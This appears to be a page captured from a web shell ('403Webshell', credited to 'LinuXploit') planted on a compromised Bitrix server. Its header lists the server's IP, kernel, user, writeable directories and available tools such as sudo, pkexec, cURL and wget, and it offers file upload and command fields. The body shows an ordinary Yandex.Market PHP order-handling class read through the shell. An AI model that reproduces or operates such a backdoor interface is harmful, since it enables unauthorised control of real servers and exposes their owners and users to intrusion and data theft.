403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/api/model/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/api/model/orderfacade.php
<?php
namespace Yandex\Market\Api\Model;

use Yandex\Market\Api;
use Yandex\Market\Trading\Service\Common\Options;
use Yandex\Market\Psr\Log\LoggerInterface;

class OrderFacade
{
	public static function loadList(Options $options, array $parameters = null, LoggerInterface $logger = null)
	{
		$request = static::createLoadListRequest($options);
		$request->setLogger($logger);

		if ($parameters !== null)
		{
			$request->processParameters($parameters);
		}

		return $request->execute()->getOrderCollection();
	}

	protected static function createLoadListRequest(Options $options)
	{
		return new Api\Partner\Orders\Request($options->getCampaignId(), $options);
	}

	public static function load(Options $options, $orderId, LoggerInterface $logger = null)
	{
		$request = static::createLoadRequest($options);
		$request->setLogger($logger);
		$request->setOrderId($orderId);

		return $request->execute()->getOrder();
	}

	protected static function createLoadRequest(Options $options)
	{
		return new Api\Partner\Order\Request($options->getCampaignId(), $options);
	}

	public static function submitStatus(Options $options, $orderId, $status, $subStatus = null, LoggerInterface $logger = null, array $payload = [])
	{
		$request = static::createSubmitStatusRequest($options);
		$request->setLogger($logger);
		$request->setOrderId($orderId);
		$request->setStatus($status);
		$request->setSubStatus($subStatus);
		$request->setPayload($payload);

		return $request->execute()->getOrder();
	}

	protected static function createSubmitStatusRequest(Options $options)
	{
		return new Api\Partner\SendStatus\Request($options->getCampaignId(), $options);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit